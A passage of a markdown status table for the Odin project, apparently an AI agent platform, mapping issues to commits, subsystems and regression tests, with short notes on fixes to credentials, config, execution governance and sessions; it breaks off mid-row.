[#560](https://github.com/Calmingstorm/Odin/issues/560) | `2529884753d031aacbab7b4084f71cf416c10a53` (providers) | `tests/test_provider_campaign_regressions.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Borrowed auxiliary wrappers rebuild against reloaded transports without owning borrowed clients. +| [#561](https://github.com/Calmingstorm/Odin/issues/561) | `2529884753d031aacbab7b4084f71cf416c10a53` (providers) | `tests/test_provider_campaign_regressions.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Cancelled/failed unpublished provider candidates are drained and closed. +| [#563](https://github.com/Calmingstorm/Odin/issues/563) | `2529884753d031aacbab7b4084f71cf416c10a53` (providers) | `tests/test_provider_campaign_regressions.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Auxiliary fallbacks atomically rebind on provider reload while leased calls retain old clients. +| [#564](https://github.com/Calmingstorm/Odin/issues/564) | `2529884753d031aacbab7b4084f71cf416c10a53` (providers) | `tests/test_provider_campaign_regressions.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Retry leases remain bound to provider generation; local retirement is not counted as upstream outage. +| [#423](https://github.com/Calmingstorm/Odin/issues/423) | `2529884753d031aacbab7b4084f71cf416c10a53` (providers) | `tests/test_provider_campaign_regressions.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Compatible/Ollama result metadata carries actual served model and usage into auxiliary accounting. +| [#541](https://github.com/Calmingstorm/Odin/issues/541) | `2529884753d031aacbab7b4084f71cf416c10a53` (providers) | `tests/test_provider_campaign_regressions.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Adaptive cooldown saturates before exponentiation can overflow. +| [#495](https://github.com/Calmingstorm/Odin/issues/495) | `dd370e6dfe9702b1890761374d8aee811e808f07` (integration-review) | `tests/test_independent_credential_review.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Independent review closes cold-start same-account reauthentication gap; explicit authorization revision fences stale shadow recovery. +| [#496](https://github.com/Calmingstorm/Odin/issues/496) | `58d27e8b2f383510b67e637cc7ee26b75d06758b` (credentials) | `tests/test_codex_credential_writes.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Use secure atomic writer before exposing credential bytes. | +| [#500](https://github.com/Calmingstorm/Odin/issues/500) | `1305245ce43c03668963079aae0cd48b27aff2e3` (credentials) | `tests/test_codex_account_mutation_regressions.py`; `tests/test_codex_quota_check.py`; `tests/test_web_api_codex_admin.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Treat device-auth merged write failure as error; never fall back to fresh-only pool replacement. | +| [#532](https://github.com/Calmingstorm/Odin/issues/532) | `1305245ce43c03668963079aae0cd48b27aff2e3` (credentials) | `tests/test_codex_account_mutation_regressions.py`; `tests/test_codex_quota_check.py`; `tests/test_web_api_codex_admin.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. On genuine auth failure bench manually selected account and allow rotation; quota behavior unchanged. | +| [#533](https://github.com/Calmingstorm/Odin/issues/533) | `dd370e6dfe9702b1890761374d8aee811e808f07` (integration-review follow-up) | `tests/test_codex_account_mutation_regressions.py`; `tests/test_codex_quota_check.py`; `tests/test_web_api_codex_admin.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Refresh-generation fence now preserves explicit reauthentication over stale shadow after cold pool reload. +| [#534](https://github.com/Calmingstorm/Odin/issues/534) | `1305245ce43c03668963079aae0cd48b27aff2e3` (credentials) | `tests/test_codex_account_mutation_regressions.py`; `tests/test_codex_quota_check.py`; `tests/test_web_api_codex_admin.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Serialize admin refresh through pool lock and settle cancellation after durable token write. | +| [#535](https://github.com/Calmingstorm/Odin/issues/535) | `1305245ce43c03668963079aae0cd48b27aff2e3` (credentials) | `tests/test_codex_account_mutation_regressions.py`; `tests/test_codex_quota_check.py`; `tests/test_web_api_codex_admin.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Map displayed valid-account index to canonical record despite malformed entries; single-account reauth replaces. | +| [#536](https://github.com/Calmingstorm/Odin/issues/536) | `58d27e8b2f383510b67e637cc7ee26b75d06758b` (credentials) | `tests/test_codex_credential_writes.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Create unique same-directory exclusive 0600 temporary files; ignore preexisting unsafe temp. | +| [#537](https://github.com/Calmingstorm/Odin/issues/537) | `58d27e8b2f383510b67e637cc7ee26b75d06758b` (credentials) | `tests/test_codex_credential_writes.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Loop positive short writes; failure/zero progress preserves destination and cleans owned temp. | +| [#542](https://github.com/Calmingstorm/Odin/issues/542) | `1305245ce43c03668963079aae0cd48b27aff2e3` (credentials) | `tests/test_codex_account_mutation_regressions.py`; `tests/test_codex_quota_check.py`; `tests/test_web_api_codex_admin.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Fence quota results/failures by captured pool generation across await/reload. | +| [#457](https://github.com/Calmingstorm/Odin/issues/457) | `c56ace99a5e176649ca831f2f95bc511e2237a1f` (config) | `tests/test_config_campaign_v410.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. No-op startup migrations no longer require adjacent writes; applicable image defaults adapt safely on read-only/file-bound config; ambiguous provenance still fails closed. +| [#459](https://github.com/Calmingstorm/Odin/issues/459) | `c56ace99a5e176649ca831f2f95bc511e2237a1f` (config) | `tests/test_config_campaign_v410.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Retired Codex migration covers agent selectors, allowlists and keyed hints while preserving source YAML. +| [#588](https://github.com/Calmingstorm/Odin/issues/588) | `c56ace99a5e176649ca831f2f95bc511e2237a1f` (config) | `tests/test_config_campaign_v410.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Legacy configs with absent or empty provider preserve explicit main model during canonical adaptation. +| [#595](https://github.com/Calmingstorm/Odin/issues/595) | `c56ace99a5e176649ca831f2f95bc511e2237a1f` (config) | `tests/test_config_campaign_v410.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Legacy Kimi timeout adaptation is bounded while explicit new timeout fields remain strict. +| [#458](https://github.com/Calmingstorm/Odin/issues/458) | `ea08fcdbea2e580a05b4670d3b6820866617c8a8` (config) | `tests/test_config_campaign_v410.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Ceiling migration checks exact preimage under cross-process lock and preserves acknowledged newer edits. +| [#460](https://github.com/Calmingstorm/Odin/issues/460) | `ea08fcdbea2e580a05b4670d3b6820866617c8a8` (config) | `tests/test_config_campaign_v410.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Save validates effective canonical selectors; startup warns and preserves accepted legacy intent. +| [#501](https://github.com/Calmingstorm/Odin/issues/501) | `ea08fcdbea2e580a05b4670d3b6820866617c8a8` (config) | `tests/test_config_campaign_v410.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Partial agent/host config merges publish against locked current state; OpenRouter policy rebinds after awaits. +| [#502](https://github.com/Calmingstorm/Odin/issues/502) | `ea08fcdbea2e580a05b4670d3b6820866617c8a8` (config) | `tests/test_config_campaign_v410.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Provider enable routes parse actual booleans; string false disables and malformed input fails before mutation. +| [#589](https://github.com/Calmingstorm/Odin/issues/589) | `ea08fcdbea2e580a05b4670d3b6820866617c8a8` (config) | `tests/test_config_campaign_v410.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Apply metadata now reflects effective live consumers and canonical selectors. +| [#591](https://github.com/Calmingstorm/Odin/issues/591) | `ea08fcdbea2e580a05b4670d3b6820866617c8a8` (config) | `tests/test_config_campaign_v410.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Webhook source-span YAML editing accepts valid trailing separators in flow collections. +| [#592](https://github.com/Calmingstorm/Odin/issues/592) | `ea08fcdbea2e580a05b4670d3b6820866617c8a8` (config) | `tests/test_config_campaign_v410.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Partial mapping saves touch submitted leaves only; explicit `$delete` removes a named entry and null remains data. +| [#593](https://github.com/Calmingstorm/Odin/issues/593) | `ea08fcdbea2e580a05b4670d3b6820866617c8a8` (config) | `tests/test_config_campaign_v410.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Nonpositive tool timeouts reject on save; startup warns and falls back to built-in defaults. +| [#594](https://github.com/Calmingstorm/Odin/issues/594) | `ea08fcdbea2e580a05b4670d3b6820866617c8a8` (config) | `tests/test_config_campaign_v410.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Negative archive caps reject on save and become unset on startup; explicit zero still means retain nothing. +| [#446](https://github.com/Calmingstorm/Odin/issues/446) | `d1a82f0badc77408dc8d41ebf6a479ce2e4a4764` (remaining) | `tests/test_catalog_campaign.py`; `tests/test_tool_catalog_dependency_gate.py` | Implemented; Disabled browser/knowledge backends hide their definitions while static built-in names remain reserved. | +| [#590](https://github.com/Calmingstorm/Odin/issues/590) | `d1a82f0badc77408dc8d41ebf6a479ce2e4a4764` (remaining) | `tests/test_catalog_campaign.py`; `tests/test_email_campaign.py` | Implemented; Email tool visibility follows executor-owned effective startup configuration; enable/disable remains restart-applied. | +| [#600](https://github.com/Calmingstorm/Odin/issues/600) | `d1a82f0badc77408dc8d41ebf6a479ce2e4a4764` (remaining) | `tests/test_builtin_tool_policy.py`; `tests/test_catalog_campaign.py` | Implemented; Dynamic computer names participate in built-in disablement; disabled native calls are refused before owner lookup. | +| [#603](https://github.com/Calmingstorm/Odin/issues/603) | `aae0176758d5ad9391ce02506d6a2b145b716ba4` (execution) | `tests/test_campaign_execution_outcomes.py`; `tests/test_campaign_execution_risk.py`; `tests/test_runtime_output_delivery.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Preserve effect uncertainty across generic errors, timeouts, nested leases and later retry success; prevent unsafe replay. | +| [#426](https://github.com/Calmingstorm/Odin/issues/426) | `aae0176758d5ad9391ce02506d6a2b145b716ba4` (execution) | `tests/test_campaign_execution_outcomes.py`; `tests/test_campaign_execution_risk.py`; `tests/test_runtime_output_delivery.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. max_retries=0 still performs initial SSH command attempt. | +| [#427](https://github.com/Calmingstorm/Odin/issues/427) | `aae0176758d5ad9391ce02506d6a2b145b716ba4` (execution) | `tests/test_campaign_execution_outcomes.py`; `tests/test_campaign_execution_risk.py`; `tests/test_runtime_output_delivery.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Stream output with bounded chunks/incremental UTF-8, frame huge-line fragments, and reap child on consumer failure. | +| [#429](https://github.com/Calmingstorm/Odin/issues/429) | `ac12eca29d7a45e258f6803ebed133b00a845fcb` (execution) | `tests/test_campaign_execution_validation.py`; `tests/test_post_validation.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Bound regex evaluation off event loop while retaining input caps/heuristics. | +| [#430](https://github.com/Calmingstorm/Odin/issues/430) | `ac12eca29d7a45e258f6803ebed133b00a845fcb` (execution) | `tests/test_campaign_execution_validation.py`; `tests/test_post_validation.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Treat numeric zero as valid expected equality value. | +| [#431](https://github.com/Calmingstorm/Odin/issues/431) | `ac12eca29d7a45e258f6803ebed133b00a845fcb` (execution) | `tests/test_campaign_execution_validation.py`; `tests/test_post_validation.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Governor refusals/exceptions and unexecuted probes use validation error path. | +| [#602](https://github.com/Calmingstorm/Odin/issues/602) | `aae0176758d5ad9391ce02506d6a2b145b716ba4` (execution) | `tests/test_campaign_execution_outcomes.py`; `tests/test_campaign_execution_risk.py`; `tests/test_runtime_output_delivery.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Retain retry exit status as ground truth; prose cannot fabricate success. | +| [#604](https://github.com/Calmingstorm/Odin/issues/604) | `aae0176758d5ad9391ce02506d6a2b145b716ba4` (execution) | `tests/test_campaign_execution_outcomes.py`; `tests/test_campaign_execution_risk.py`; `tests/test_runtime_output_delivery.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Do not infer uncertainty from user-controlled output strings/JSON content. | +| [#605](https://github.com/Calmingstorm/Odin/issues/605) | `aae0176758d5ad9391ce02506d6a2b145b716ba4` (execution) | `tests/test_campaign_execution_outcomes.py`; `tests/test_campaign_execution_risk.py`; `tests/test_runtime_output_delivery.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Use typed backward-compatible ToolFailure across native, deferred and validator routes. | +| [#607](https://github.com/Calmingstorm/Odin/issues/607) | `ac12eca29d7a45e258f6803ebed133b00a845fcb` (execution) | `tests/test_campaign_execution_validation.py`; `tests/test_post_validation.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Validate HTTP probe construction before host-generation lease acquisition. | +| [#609](https://github.com/Calmingstorm/Odin/issues/609) | `aae0176758d5ad9391ce02506d6a2b145b716ba4` (execution) | `tests/test_campaign_execution_outcomes.py`; `tests/test_campaign_execution_risk.py`; `tests/test_runtime_output_delivery.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Carry producer-owned truncation state through serialization/preview and align ToolResult flags with actual delivery. | +| [#617](https://github.com/Calmingstorm/Odin/issues/617) | `aae0176758d5ad9391ce02506d6a2b145b716ba4` (execution) | `tests/test_campaign_execution_outcomes.py`; `tests/test_campaign_execution_risk.py`; `tests/test_runtime_output_delivery.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Use action-aware consistent risk/audit classification across native/executor/deferred pathways. | +| [#618](https://github.com/Calmingstorm/Odin/issues/618) | `aae0176758d5ad9391ce02506d6a2b145b716ba4` (execution) | `tests/test_campaign_execution_outcomes.py`; `tests/test_campaign_execution_risk.py`; `tests/test_runtime_output_delivery.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Emit first corrupt-memory warning on young host then rate-limit subsequent warnings. | +| [#596](https://github.com/Calmingstorm/Odin/issues/596) | `6b23e258c5235477a5304783cfe7b688942a945f` (governor) | `tests/test_campaign_governor_skills.py`; `tests/test_risk_classifier.py`; `tests/test_campaign_a_validation.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Skill shell helpers follow same inherited admission/governance as run_command. | +| [#597](https://github.com/Calmingstorm/Odin/issues/597) | `6b23e258c5235477a5304783cfe7b688942a945f` (governor) | `tests/test_campaign_governor_skills.py`; `tests/test_risk_classifier.py`; `tests/test_campaign_a_validation.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Authorize invoke_skill against selected skill scope and recheck current authority immediately before execute. | +| [#598](https://github.com/Calmingstorm/Odin/issues/598) | `6b23e258c5235477a5304783cfe7b688942a945f` (governor) | `tests/test_campaign_governor_skills.py`; `tests/test_risk_classifier.py`; `tests/test_campaign_a_validation.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Use shared command governance with requester tier/effective host during validation. | +| [#599](https://github.com/Calmingstorm/Odin/issues/599) | `1e00574ff86fe5d1151bc9c44f09d1c65b4c5d1b` (integration-review) | `tests/test_independent_governor_review.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Independent review expanded bounded systemctl option parsing for documented options without weakening conservative classification. +| [#432](https://github.com/Calmingstorm/Odin/issues/432) | `c07085fd7d55c280910b2a3da1c16395cf77d11b` (processes) | `tests/test_campaign_process_lifecycle.py`; `tests/test_campaign_remote_supervisor_proof.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. #548 deliberately reports process-group-only evidence as unknown, not full descendant containment. +| [#544](https://github.com/Calmingstorm/Odin/issues/544) | `c07085fd7d55c280910b2a3da1c16395cf77d11b` (processes) | `tests/test_campaign_process_lifecycle.py`; `tests/test_campaign_remote_supervisor_proof.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. #548 deliberately reports process-group-only evidence as unknown, not full descendant containment. +| [#545](https://github.com/Calmingstorm/Odin/issues/545) | `c07085fd7d55c280910b2a3da1c16395cf77d11b` (processes) | `tests/test_campaign_process_lifecycle.py`; `tests/test_campaign_remote_supervisor_proof.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. #548 deliberately reports process-group-only evidence as unknown, not full descendant containment. +| [#546](https://github.com/Calmingstorm/Odin/issues/546) | `c07085fd7d55c280910b2a3da1c16395cf77d11b` (processes) | `tests/test_campaign_process_lifecycle.py`; `tests/test_campaign_remote_supervisor_proof.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. #548 deliberately reports process-group-only evidence as unknown, not full descendant containment. +| [#547](https://github.com/Calmingstorm/Odin/issues/547) | `c07085fd7d55c280910b2a3da1c16395cf77d11b` (processes) | `tests/test_campaign_process_lifecycle.py`; `tests/test_campaign_remote_supervisor_proof.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. #548 deliberately reports process-group-only evidence as unknown, not full descendant containment. +| [#548](https://github.com/Calmingstorm/Odin/issues/548) | `c07085fd7d55c280910b2a3da1c16395cf77d11b` (processes) | `tests/test_campaign_process_lifecycle.py`; `tests/test_campaign_remote_supervisor_proof.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. #548 deliberately reports process-group-only evidence as unknown, not full descendant containment. +| [#549](https://github.com/Calmingstorm/Odin/issues/549) | `ee3aae950b98b81f8d2bcfd42a95d06627876bc4` (processes) | `tests/test_campaign_process_lifecycle.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Retained-manifest restoration persists affirmative cleanup proof. +| [#550](https://github.com/Calmingstorm/Odin/issues/550) | `aea0a74b86da993a1574109b4815701daecd0c92` (processes) | `tests/test_campaign_process_ssh.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Cancelled SSH master close retains ownership for retry. +| [#444](https://github.com/Calmingstorm/Odin/issues/444) | `6b23e258c5235477a5304783cfe7b688942a945f` (governor) | `tests/test_campaign_governor_skills.py`; `tests/test_risk_classifier.py`; `tests/test_campaign_a_validation.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Editing disabled skills preserves disabled state/catalog exclusion/refusal across restart. | +| [#445](https://github.com/Calmingstorm/Odin/issues/445) | `6b23e258c5235477a5304783cfe7b688942a945f` (governor) | `tests/test_campaign_governor_skills.py`; `tests/test_risk_classifier.py`; `tests/test_campaign_a_validation.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Persist activation candidates before live publication; write failures leave live state unchanged. | +| [#452](https://github.com/Calmingstorm/Odin/issues/452) | `6b23e258c5235477a5304783cfe7b688942a945f` (governor) | `tests/test_campaign_governor_skills.py`; `tests/test_risk_classifier.py`; `tests/test_campaign_a_validation.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Edit/delete loaded skill artifact by its actual path and preserve rollback on identity mismatch. | +| [#453](https://github.com/Calmingstorm/Odin/issues/453) | `6b23e258c5235477a5304783cfe7b688942a945f` (governor) | `tests/test_campaign_governor_skills.py`; `tests/test_risk_classifier.py`; `tests/test_campaign_a_validation.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Check installed requirements against versions and declared extras/dependencies. | +| [#454](https://github.com/Calmingstorm/Odin/issues/454) | `6b23e258c5235477a5304783cfe7b688942a945f` (governor) | `tests/test_campaign_governor_skills.py`; `tests/test_risk_classifier.py`; `tests/test_campaign_a_validation.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Parse valid PEP 508 compound constraints while rejecting unsafe reference/path/option forms; declare packaging dependency. | +| [#612](https://github.com/Calmingstorm/Odin/issues/612) | `6b23e258c5235477a5304783cfe7b688942a945f` (governor) | `tests/test_campaign_governor_skills.py`; `tests/test_risk_classifier.py`; `tests/test_campaign_a_validation.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Refuse generic safe-allowlist names lacking executor handlers; retain supported dedicated helpers. | +| [#614](https://github.com/Calmingstorm/Odin/issues/614) | `6b23e258c5235477a5304783cfe7b688942a945f` (governor) | `tests/test_campaign_governor_skills.py`; `tests/test_risk_classifier.py`; `tests/test_campaign_a_validation.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Preserve full authorized skill result for retention before bounded preview; explicit quota refusal. | +| [#456](https://github.com/Calmingstorm/Odin/issues/456) | `6b23e258c5235477a5304783cfe7b688942a945f` (governor) | `tests/test_campaign_governor_skills.py`; `tests/test_risk_classifier.py`; `tests/test_campaign_a_validation.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Document synchronous vs asynchronous SkillContext methods and truthful write/return semantics. | +| [#447](https://github.com/Calmingstorm/Odin/issues/447) | `805df1ef15cbdd984a1c4b56855dde66de6d985d` (remaining) | `tests/test_mcp_campaign.py`; `tests/test_mcp_client_eras.py` | Implemented; Invalid union/list header annotations exclude only the affected tool rather than failing server discovery. | +| [#448](https://github.com/Calmingstorm/Odin/issues/448) | `805df1ef15cbdd984a1c4b56855dde66de6d985d` (remaining) | `tests/test_mcp_campaign.py`; `tests/test_mcp_protocol.py` | Implemented; Header values with terminal newlines are rejected before HTTP serialization; unsafe values are encoded. | +| [#449](https://github.com/Calmingstorm/Odin/issues/449) | `805df1ef15cbdd984a1c4b56855dde66de6d985d` (remaining) | `tests/test_mcp_campaign.py`; `tests/test_mcp_protocol.py` | Implemented; Structured records remain beside summaries without repeating equivalent JSON text, including fenced JSON. | +| [#443](https://github.com/Calmingstorm/Odin/issues/443) | `1e773d0db063d805f7941b9f2494957b67672c05` (remaining) | `tests/test_email_campaign.py`; `tests/test_email_client_paths.py` | Implemented; SMTP/IMAP verify certificates and hostnames by default; email.tls_verify=false is the explicit self-signed-server opt-out. | +| [#450](https://github.com/Calmingstorm/Odin/issues/450) | `1e773d0db063d805f7941b9f2494957b67672c05` (remaining) | `tests/test_email_campaign.py` | Implemented; Accepted SMTP delivery remains sent/partial after QUIT cleanup failure, with accepted-recipient count and sanitized warning. | +| [#451](https://github.com/Calmingstorm/Odin/issues/451) | `1e773d0db063d805f7941b9f2494957b67672c05` (remaining) | `tests/test_email_campaign.py`; `tests/test_email_client_paths.py` | Implemented; Failed IMAP SEARCH reports retrieval failure rather than verified absence. | +| [#455](https://github.com/Calmingstorm/Odin/issues/455) | `f0427645388206514f1191f93e1e6596eff62308` (remaining) | `tests/test_image_backends.py` | Implemented; PNG validation checks CRC/chunks and decodes pixels within encoded-byte and decoded-pixel limits. | +| [#509](https://github.com/Calmingstorm/Odin/issues/509) | `f0427645388206514f1191f93e1e6596eff62308` (remaining) | `tests/test_native_media.py` | Implemented; Image upload failure returns image_delivery_failed and warns against regeneration instead of reporting success. | +| [#507](https://github.com/Calmingstorm/Odin/issues/507) | `583dd91b5c0c5149ab40abea7ed9069c59547dee` (loops) | `tests/test_campaign_discord_resume.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#508](https://github.com/Calmingstorm/Odin/issues/508) | `4d26d2e87d9992dd5cd301c06bac5889d9e2f4e6` (loops) | `tests/test_campaign_discord_digest.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#567](https://github.com/Calmingstorm/Odin/issues/567) | `6fb709e6d320cbd19afeb81087807c9cad09a6d6` (loops) | `tests/test_campaign_discord_attachments.py`; `tests/test_campaign_discord_intake.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#568](https://github.com/Calmingstorm/Odin/issues/568) | `6fb709e6d320cbd19afeb81087807c9cad09a6d6` (loops) | `tests/test_campaign_discord_attachments.py`; `tests/test_campaign_discord_intake.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#569](https://github.com/Calmingstorm/Odin/issues/569) | `6fb709e6d320cbd19afeb81087807c9cad09a6d6` (loops) | `tests/test_campaign_discord_attachments.py`; `tests/test_campaign_discord_intake.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#476](https://github.com/Calmingstorm/Odin/issues/476) | `0311c01fc6b80ff11abadb404d6263f46c190781` (sessions) | `tests/test_sessions_review_regressions.py`; `tests/test_execute_api.py`; `tests/test_channel_history_recency.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Empty compaction output uses deterministic nonempty fallback so history is not discarded. | +| [#477](https://github.com/Calmingstorm/Odin/issues/477) | `0311c01fc6b80ff11abadb404d6263f46c190781` (sessions) | `tests/test_sessions_review_regressions.py`; `tests/test_execute_api.py`; `tests/test_channel_history_recency.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Apply history eligibility before ranked-result limits; grow retrieval until eligible slots fill or exhausted. | +| [#480](https://github.com/Calmingstorm/Odin/issues/480) | `ec347b00a5da4b2ca9944b5061e1755acf0d7362` (sessions) | `tests/test_knowledge_review_regressions.py`; `tests/test_knowledge_snapshot_campaign.py`; `tests/test_knowledge_dedup.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Default PDF identity derives from URL without fragment; explicit legacy source override remains supported. | +| [#505](https://github.com/Calmingstorm/Odin/issues/505) | `0311c01fc6b80ff11abadb404d6263f46c190781` (sessions) | `tests/test_sessions_review_regressions.py`; `tests/test_execute_api.py`; `tests/test_channel_history_recency.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Keep unique API execution channels memory-only through save/reset/archive/clear lifecycle. | +| [#506](https://github.com/Calmingstorm/Odin/issues/506) | `0311c01fc6b80ff11abadb404d6263f46c190781` (sessions) | `tests/test_sessions_review_regressions.py`; `tests/test_execute_api.py`; `tests/test_channel_history_recency.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Authorize explicit owned scoped searches; merge eligible owned sessions when scope omitted; reject foreign scopes. | +| [#481](https://github.com/Calmingstorm/Odin/issues/481) | `be3625ff3cacb44c257515354fe22c6487b7099b` (sessions) | `tests/test_hybrid_search.py`; `tests/test_embedder_loading.py`; `tests/test_state_handlers.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Hybrid fusion returns payload of highest-ranked occurrence with deterministic ties. | +| [#483](https://github.com/Calmingstorm/Odin/issues/483) | `ec347b00a5da4b2ca9944b5061e1755acf0d7362` (sessions) | `tests/test_knowledge_review_regressions.py`; `tests/test_knowledge_snapshot_campaign.py`; `tests/test_knowledge_dedup.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Version summaries compare authoritative full snapshots; legacy missing snapshots disclose unavailable diff. | +| [#484](https://github.com/Calmingstorm/Odin/issues/484) | `ec347b00a5da4b2ca9944b5061e1755acf0d7362` (sessions) | `tests/test_knowledge_review_regressions.py`; `tests/test_knowledge_snapshot_campaign.py`; `tests/test_knowledge_dedup.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Group duplicate sources losslessly without comma/Unicode identifier corruption. | +| [#485](https://github.com/Calmingstorm/Odin/issues/485) | `0311c01fc6b80ff11abadb404d6263f46c190781` (sessions) | `tests/test_sessions_review_regressions.py`; `tests/test_execute_api.py`; `tests/test_channel_history_recency.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Recognize modern rolling summaries across token metrics, APIs and existing UI consumers. | +| [#486](https://github.com/Calmingstorm/Odin/issues/486) | `be3625ff3cacb44c257515354fe22c6487b7099b` (sessions) | `tests/test_hybrid_search.py`; `tests/test_embedder_loading.py`; `tests/test_state_handlers.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Initialize cold local embedding models off-loop with single-flight loading and retry after failure. | +| [#570](https://github.com/Calmingstorm/Odin/issues/570) | `704f4ae79032a4fb47b2741db32a528a749b9042` (sessions) | `tests/test_channel_logger.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Merge fallback history globally by recency before limit using bounded top-k. | +| [#613](https://github.com/Calmingstorm/Odin/issues/613) | `be3625ff3cacb44c257515354fe22c6487b7099b` (sessions) | `tests/test_hybrid_search.py`; `tests/test_embedder_loading.py`; `tests/test_state_handlers.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Honor explicit personal/global memory get/delete scope; preserve omitted-scope fallback. | +| [#465](https://github.com/Calmingstorm/Odin/issues/465) | `16142d93aa113e66e26c8e8723d3838dcd0975c5` (observability) | `tests/test_campaign_* observability/learning/audit/startup regression files` | Implemented and regression-tested per worker report; full campaign gates remain pending. Scope learned-entry identity, supersession and reflection to owner/shared namespace. | +| [#467](https://github.com/Calmingstorm/Odin/issues/467) | `16142d93aa113e66e26c8e8723d3838dcd0975c5` (observability) | `tests/test_campaign_* observability/learning/audit/startup regression files` | Implemented and regression-tested per worker report; full campaign gates remain pending. Expire lessons using newest valid created/updated/used activity. | +| [#469](https://github.com/Calmingstorm/Odin/issues/469) | `16142d93aa113e66e26c8e8723d3838dcd0975c5` (observability) | `tests/test_campaign_* observability/learning/audit/startup regression files` | Implemented and regression-tested per worker report; full campaign gates remain pending. Aggregate complete retained failure snapshots, settle scans on cancellation, disclose retained coverage. | +| [#470](https://github.com/Calmingstorm/Odin/issues/470) | `16142d93aa113e66e26c8e8723d3838dcd0975c5` (observability) | `tests/test_campaign_* observability/learning/audit/startup regression files` | Implemented and regression-tested per worker report; full campaign gates remain pending. Include injected learned context in system-token totals and correct historical aggregate attribution. | +| [#479](https://github.com/Calmingstorm/Odin/issues/479) | `16142d93aa113e66e26c8e8723d3838dcd0975c5` (observability) | `tests/test_campaign_* observability/learning/audit/startup regression files` | Implemented and regression-tested per worker report; full campaign gates remain pending. Use stable rotation-locked descriptors across retained audit generations for filters/statistics. | +| [#482](https://github.com/Calmingstorm/Odin/issues/482) | `16142d93aa113e66e26c8e8723d3838dcd0975c5` (observability) | `tests/test_campaign_* observability/learning/audit/startup regression files` | Implemented and regression-tested per worker report; full campaign gates remain pending. Preserve unified diff line framing and standard EOF markers. | +| [#543](https://github.com/Calmingstorm/Odin/issues/543) | `16142d93aa113e66e26c8e8723d3838dcd0975c5` (observability) | `tests/test_campaign_* observability/learning/audit/startup regression files` | Implemented and regression-tested per worker report; full campaign gates remain pending. Label unmeasured prefix statistics as null/unmeasured, not upstream cache hits. | +| [#461](https://github.com/Calmingstorm/Odin/issues/461) | 